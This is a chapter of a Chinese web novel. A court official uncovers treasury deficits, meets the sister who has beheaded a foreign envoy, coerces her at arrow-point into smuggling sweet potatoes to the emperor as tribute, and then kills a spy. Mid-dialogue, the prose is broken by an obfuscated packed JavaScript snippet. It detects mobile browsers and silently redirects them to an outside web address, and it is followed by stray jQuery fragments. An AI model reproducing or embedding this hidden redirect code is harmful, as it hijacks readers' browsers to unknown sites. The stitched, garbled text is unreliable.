陆云栖坐在廊下,手持账本,账本上尽是扎眼醒目的亏空数字,惊人天文数字。
多大的窟窿啊,没见过这样的世面。
斜眼瞅边上木盘上垒起来如山高一样的账本堆,一个头两个大,这些账本都是沈枕晚那个混蛋整来的,美其名曰查找漏缺,看看本子上的内容,哪里是找漏缺,分明是女娲补天。
国库里是有多少钱可以贪,欠下天文数字朝堂还能正常运行,家底够厚的。
陆云栖掐指一算,前几周,端午宫宴,下个月皇后寿宴,中间七七八八所花银两不可计。
“我上哪里搞钱给他们办?”陆云栖窝囊发怒,小声喃喃。
陆云栖拾起账本放回书斋,回房中搜出一顶兜帽带上遮面,乘府中仆人疏散之际,自后门溜走。
陆云栖要去找一个可以帮自己改变局面的人——东洋使臣。
东洋使臣此次前来是朝贡,圣上不重视东洋,使臣居所坐落在南五街一家酒楼。
踏入酒楼,门口揽客的店小二瞅见陆云栖衣袖袖口银纹作衬,绸缎做布①,一看便是个贵家子。店小二扯出自认为最谄媚的笑飞到陆云栖跟前,陆云栖眼里猛地闯进来一个人头,本能反应一个大后退,店小二扑了个空,店小二望着陆云栖干笑。
陆云栖对着店小二点点头,尴尬笑几声,靠上前塞给店小二一包银。子,让他不要管自己招揽别的客人去,店小二接过银子笑得嘴裂到耳根。
陆云栖就着楼层一层层找,楼层中穿插许多歌女舞姬,扶杆边站满贵族子弟,他们闻着舞女们飞舞的衣袖的莎莎声,一个个争先恐后解下衣服上的玉佩扳指等首饰从上抛下,鼓瑟交鸣,人声鼎沸。
陆云栖自上而下望向一楼舞台中央上翩翩起舞的女子,仅一瞬,她收回目光,女子起舞的动作让陆云栖身边贵族子弟欢呼尖叫,也让陆云栖心生不适,她没有办法直面,只有回避可解。
走到四楼时,不待陆云栖搜查,迎面撞来的是一间位处楼层尽头,大门敞开,里面鼓瑟和酒樽交错声不断,大门口蜿蜒一条奇怪的暗红色小河。
陆云栖有股不祥预感,脚下顿在原地不动,直觉告诉她里面绝对出事了,少说死了一个。
现在跑?估计来不及了,不入虎穴焉得虎子,干脆进去瞧瞧。
一咬牙,陆云栖硬着头皮踏进屋内,正面盘坐着一位擦拭沾血剑的女子,女子脚边倒着个人,身首分离,挑开头发看,是东洋使臣。使臣目睁口张,死不瞑目。擦剑女子面容稚嫩,却与使臣极为相似,应当是兄妹。
擦剑女子对着陆云栖闯进没有惊讶,望着她相视而笑。
陆云栖面色平静踩着使臣尸首走到女子身边坐下,心里却是劫后余生的庆幸。
差点露馅了,这也太唬人了,说杀就杀,跟这姑娘讲话要注意点,别一个飞剑斩了我的头。
陆云栖想象自己变成刑天模样的场景,鸡皮疙瘩起一身。
女子开门见山,剑收回剑鞘中,抱在怀里道:“你来找使臣干什么?”
陆云栖自袖中取出一个布包,拆开层层包裹,露出里面躺着的番薯。
番薯是陆云栖奋发努力学习答题攒积分在系统商城换的。番薯产量高,好养好,对于现在这种人多粮少的古代环境刚好对口。陆云栖需要推广番薯种植,为百姓提供可以活命的粮食,同时保证了人口上升,使未来人丁税可以收的更多,缓解财政压力。
女子歪着头观察番薯,这种作物不属于这片大陆,她从未见过,眼前这个兜帽人来历不明,上来不顾尸首,丢下个像红色石头一样的作物就不说话了。
陆云栖把番薯往前推一推,说:“这是番薯,异域作物,产量高,而且好养活。”
女子拿起番薯,在手里把玩,没觉得看出什么不一样的地方,放下番薯,问陆云栖意图。
陆云栖清清嗓,手放到桌上:“使臣这次来是朝贡,我要你把这东西作为朝贡物品私下呈给皇帝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705163|207689||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
“凭什么,你凭什么觉得我要听你——”女子背向后仰,倚靠椅背,狠话没说完,陆云栖袖箭直直抵在她脖子上。
“你没有反抗的余地,我不喜欢谈判。”
陆云栖语气平淡,袖箭伴随话语起伏而变化力度,箭入喉,血缠在箭上往下落花,花滴在桌面上,结出颗颗红色果实。
出其意料的是女子丝毫不退缩,眉宇间无丁点怯意,陆云栖果断出手的行为反而让她放心,一个出手够狠的人才能保证自己的嘴巴够严。
女子开出自己条件:“我要一万两。”
陆云栖见女子松口,收回袖箭,拍拍衣袖,一口应下。
女子爽朗笑出声,拿起桌上酒壶一饮而尽,起身走到地上倒着的尸首,踢踢掉落的头颅,问陆云栖想不想知道这个人为什么死。
陆云栖冷眼相待,呛回去一句“没兴趣”。
“你们兄妹之间的恩仇和我无关,他死了,也是他技不如人,该死。你杀了他,下一刻就会扒下衣服套自己身上扮使臣。”陆云栖点出,“你要的不是恩仇,而是一个行走名利场的机会,现在,机会来了。”
女子蹲下用手扒拉使臣的衣服,对此说法不置可否,只是拿起使臣官帽戴到自己头上。
“女扮男装被发现了就是死罪,欺君罔上,要砍头的。”陆云栖提醒。
女子撇撇嘴,丢下帽子,坐到桌子上,不甚在意:“我都杀人了,还会在乎生死?与其苟且痛苦一生,不如干个大的,风风光光几年,待东窗事发后,你说史书上该怎么说我……”
女子想到这里,止不住笑。
陆云栖站起来离开,走之前放下几张银票算定金。
陆云栖走出门,拐到小巷,回身抬手,袖箭刺出,一箭射下猫在屋檐上跟踪的人。陆云栖上去挑开人的面具,是沈枕晚的暗卫。暗卫还没说什么,陆云栖手起刀落处决了暗卫,拖着暗卫尸首随手找个河里丢进去,拍拍手走人。